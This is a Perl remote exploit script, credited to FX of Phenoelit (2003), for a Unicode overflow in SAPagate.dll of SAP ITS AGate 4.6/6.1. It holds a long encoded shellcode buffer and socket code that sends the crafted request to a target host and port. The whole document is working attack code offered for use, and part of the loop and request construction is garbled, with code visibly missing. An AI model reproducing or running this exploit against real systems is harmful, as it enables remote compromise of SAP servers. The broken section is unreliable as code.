#!/usr/bin/perl -w use IO::Socket; # ~command Unicode overflow in LoggPrintf() of SAPagate.dll # (required command mode to be allowed) # # FX of Phenoelit # Dec 2003 # $|=1; if ($#ARGV != 2) { print "Usage: $0 \n"; exit 1; } else { ($host,$port,$myself)=@ARGV; } print " * * * SAP ITS AGate 4.6/6.1 remote * * *\n". " --==]] Phenoelit - http://www.phenoelit.de/whatSAP/ [[==--\n". " by FX - 2003\n\n"; # adjust if required ;) $padding=""; $shellcode= "\x57\x6e\x58\x6e\x05\x06\x4c\x6e". "\x2d\x01\x4c\x6e\x50\x6e\x59\x6e". "\x68\x01\x01\x6e\x58\x6e\x2d\x1a". "\x01\x6e\x43\x21\x6e\x41\x6e\x41". "\x6e\x05\x18\x01\x6e\x43\x21\x6e". "\x41\x6e\x41\x6e\x43\x21\x6e\x41". "\x6e\x05\x5e\x01\x6e\x43\x21\x6e". "\x41\x6e\x43\x21\x6e\x41\x6e\x2d". "\x72\x01\x6e\x43\x21\x6e\x41\x6e". "\x2d\x6b\x01\x6e\x43\x21\x6e\x41". "\x6e\x05\x43\x01\x6e\x43\x21\x6e". "\x41\x6e\x41\x6e\x41\x6e\x05\x3c". "\x01\x6e\x43\x21\x6e\x41\x6e\x41". "\x6e\x05\x7f\x01\x6e\x05\x02\x01". "\x6e\x43\x21\x6e\x41\x6e\x05\x6b". "\x01\x6e\x43\x21\x6e\x41\x6e\x41". "\x6e\x41\x6e\x05\x14\x01\x6e\x43". "\x21\x6e\x41\x6e\x41\x6e\x2d\x41". "\x01\x6e\x43\x21\x6e\x41\x6e\x41". "\x6e\x05\x41\x01\x6e\x43\x21\x6e". "\x41\x6e\x41\x6e\x41\x6e\x05\x61". "\x01\x6e\x43\x21\x6e\x41\x6e\x41". "\x6e\x05\x04\x01\x6e\x43\x21\x6e". "\x41\x6e\x2d\x66\x01\x6e\x43\x21". "\x6e\x41\x6e\x05\x37\x01\x6e\x43". "\x21\x6e\x41\x6e\x2d\x36\x01\x6e". "\x43\x21\x6e\x41\x6e\x41\x6e\x43". "\x21\x6e\x41\x6e\x41\x6e\x41\x6e". "\x2d\x76\x01\x6e\x43\x21\x6e\x41". "\x6e\x41\x6e\x41\x6e\x05\x76\x01". "\x6e\x43\x21\x6e\x41\x6e\x41\x6e". "\x43\x21\x6e\x41\x6e\x2d\x76\x01". "\x6e\x43\x21\x6e\x41\x6e\x43\x21". "\x6e\x41\x6e\x2d\x08\x01\x6e\x43". "\x21\x6e\x41\x6e\x41\x6e\x2d\x1c". "\x01\x6e\x43\x21\x6e\x41\x6e\x41". "\x6e\x2d\x34\x01\x6e\x43\x21\x6e". "\x41\x6e\x41\x6e\x05\x43\x01\x6e". "\x43\x21\x6e\x41\x6e\x41\x6e\x2d". "\x2e\x01\x6e\x43\x21\x6e\x41\x6e". "\x2d\x5c\x01\x6e\x43\x21\x6e\x41". "\x6e\x05\x0b\x01\x6e\x43\x21\x6e". "\x41\x6e\x41\x6e\x05\x51\x01\x6e". "\x43\x21\x6e\x41\x6e\x41\x6e\x43". "\x21\x6e\x41\x6e\x2d\x48\x01\x6e". "\x43\x21\x6e\x41\x6e\x2d\x18\x01". "\x6e\x43\x21\x6e\x41\x6e\x2d\x5c". "\x01\x6e\x43\x21\x6e\x41\x6e\x2d". "\x26\x01\x6e\x43\x21\x6e\x41\x6e". "\x41\x6e\x2d\x5c\x01\x6e\x43\x21". "\x6e\x41\x6e\x41\x6e\x2d\x79\x01". "\x6e\x43\x21\x6e\x41\x6e\x41\x6e". "\x41\x6e\x05\x70\x01\x6e\x43\x21". "\x6e\x41\x6e\x41\x6e\x43\x21\x6e". "\x41\x6e\x2d\x7e\x01\x6e\x43\x21". "\x6e\x41\x6e\x43\x21\x6e\x41\x6e". "\x2d\x7d\x01\x6e\x43\x21\x6e\x41". "\x6e\x2d\x05\x01\x6e\x43\x21\x6e". "\x41\x6e\x41\x6e\x43\x21\x6e\x41". "\x6e\x05\x62\x01\x6e\x43\x21\x6e". "\x41\x6e\x43\x21\x6e\x41\x6e\x05". "\x66\x01\x6e\x43\x21\x6e\x41\x6e". "\x05\x38\x01\x6e\x43\x21\x6e\x41". "\x6e\x41\x6e\x41\x6e\x41\x6e\x2d". "\x15\x01\x6e\x43\x21\x6e\x41\x6e". "\x2d\x27\x01\x6e\x43\x21\x6e\x41". "\x6e\x43\x21\x6e\x41\x6e\x2d\x46". "\x01\x6e\x43\x21\x6e\x41\x6e\x43". "\x21\x6e\x41\x6e\x2d\x5a\x01\x6e". "\x43\x21\x6e\x41\x6e\x41\x6e\x05". "\x5f\x01\x6e\x43\x21\x6e\x41\x6e". "\x41\x6e\x05\x5a\x01\x6e\x43\x21". "\x6e\x41\x6e\x41\x26\x26\x26\x26". "\x26\x26\x26\x26\x26\x26\x26\x26". "\x26\x26\x26\x26\x26\x26\x26\x26". "\x26\x26\x26\x26\x26\x26\x26\x26". "\x26\x26\x26\x26\x26\x26\x26\x26". "\x26\x26\x26\x26\x26\x26\x26\x26". "\x26\x26\x26\x26\x26\x26\x26\x26". "\x26\x26\x26\x26\x26\x26\x26\x6e". "\x01\x01\x01\x2c\x01\x3c\x01\x01". "\x05\x01\x01\x01\x05\x53\x01\x01". "\x01\x64\x25\x01\x01\x75\x3e\x6c". "\x74\x03\x01\x46\x46\x01\x01\x24". "\x64\x05\x01\x01\x43\x01\x01\x20". "\x01\x01\x01\x28\x6e\x6b\x14\x5e". "\x58\x50\x50\x50\x50\x50\x50\x50". "\x50\x55\x5d\x58\x59\x5e\x5b\x58". "\x51\x5c\x53\x53\x5c\x50\x50\x50". "\x50\x50\x50\x58\x51\x5e\x5b\x50". "\x55\x50\x50\x50\x50\x50\x50\x5b". "\x5f\x50\x50\x50\x50\x50\x50\x50". "\x55\x56\x50\x55\x53\x56\x54\x5f". "\x5f\x53\x55\x50\x50\x50\x50\x50". "\x50\x50\x50\x56\x54\x58\x59\x52". "\x55\x50\x50\x50\x50\x50\x50\x50". "\x50\x58\x59\x5f\x5e\x58\x51\x53". "\x5e\x56\x55\x56\x5c\x53\x51\x57". "\x54\x57\x54\x50\x53\x54\x56\x5e". "\x5b\x5f\x55\x54\x56\x54\x56\x54". "\x56\x54\x56\x5f\x5f\x5e\x56\x58". "\x5b\x56\x54\x52\x54\x50\x58\x56". "\x54\x58\x5f\x50\x55\x50\x50\x50". "\x50\x50\x50\x50\x50\x58\x51\x5c". "\x54\x50\x54\x50\x50\x50\x50\x50". "\x50\x56\x51\x58\x51\x5c\x57\x50". "\x50\x50\x50\x50\x51\x50\x50\x5e". "\x5b\x5c\x53"; die "Shellcode too long!\n" if (length($shellcode)>953); $cc=""; for ($i=0;$inew(Proto=>"tcp",PeerAddr=>$dest,PeerPort=>"$port",); unless ($remote) { die "cannot connect to http daemon on $dest" } $remote->autoflush(1); print $remote $request; while ( $rline=<$remote> ) { print $rline; } close $remote; }